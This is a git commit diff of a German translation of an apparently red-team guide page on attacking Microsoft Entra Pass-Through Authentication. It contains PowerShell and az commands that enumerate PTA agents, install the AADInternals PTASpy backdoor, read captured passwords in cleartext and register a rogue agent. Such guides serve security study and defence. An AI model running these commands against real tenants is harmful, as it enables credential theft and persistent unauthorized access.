Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:16 +00:00
parent 8fc69b76a3
commit 1d1a71f1c6

View File

@@ -4,9 +4,9 @@
## Grundinformationen
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfe-Kosten, da es weniger wahrscheinlich ist, dass Ihre Benutzer vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**.
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfskosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter** **nicht**, wie bei PHS.
In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter nicht**, wie bei PHS.
Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der Cloud erfolgt über einen **Authentifizierungsagenten**, der auf einem **lokalen Server** läuft (er muss nicht auf dem lokalen DC sein).
@@ -14,29 +14,63 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** eingibt.
2. Die **Anmeldeinformationen** werden **verschlüsselt** und in eine **Warteschlange** in Azure AD gesetzt.
3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird **"Pass-through authentication agent"** oder **PTA agent** genannt.
1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** sendet.
2. Die **Anmeldeinformationen** werden **verschlüsselt** und in einer **Warteschlange** in Azure AD gesetzt.
3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-Through-Authentifizierungsagent"** oder **PTA-Agent** bezeichnet.
4. Der **Agent** **validiert** die Anmeldeinformationen gegen das **lokale AD** und sendet die **Antwort** **zurück** an Azure AD, die, wenn die Antwort positiv ist, die **Anmeldung** des Benutzers **abschließt**.
> [!WARNING]
> Wenn ein Angreifer die **PTA** **kompromittiert**, kann er alle **Anmeldeinformationen** aus der Warteschlange **sehen** (im **Klartext**).\
> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton key).
> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton Key).
### On-Prem -> Cloud
### Aufzählung
Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem laufenden **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter**, die eingegeben werden, **validiert** (so dass alle Passwörter für die Authentifizierung gültig sind):
Von Entra ID:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Überprüfen Sie, ob der Agent auf dem lokalen Server ausgeführt wird:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA**-**Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Wenn die **Installation fehlschlägt**, liegt das wahrscheinlich an fehlenden [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Es ist auch möglich, die **im Klartext gesendeten Passwörter an den PTA-Agenten** mit dem folgenden Cmdlet auf dem Computer zu sehen, auf dem das vorherige Backdoor installiert wurde:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Dieser Backdoor wird:
Dieses Backdoor wird:
- Einen versteckten Ordner `C:\PTASpy` erstellen
- Eine `PTASpy.dll` nach `C:\PTASpy` kopieren
@@ -45,10 +79,8 @@ Dieser Backdoor wird:
> [!NOTE]
> Wenn der AzureADConnectAuthenticationAgent-Dienst neu gestartet wird, wird PTASpy „entladen“ und muss neu installiert werden.
### Cloud -> On-Prem
> [!CAUTION]
> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, einen **neuen PTA-Agenten** zu **registrieren**, indem man ihn auf einem **vom Angreifer kontrollierten Gerät** einrichtet. Sobald der Agent **eingerichtet** ist, können wir die **vorherigen** Schritte **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.**
> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, **einen neuen PTA-Agenten zu registrieren** und die **vorherigen** Schritte zu **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.**
### Seamless SSO
@@ -58,7 +90,7 @@ Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Mi
seamless-sso.md
{{#endref}}
## Referenzen
## References
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)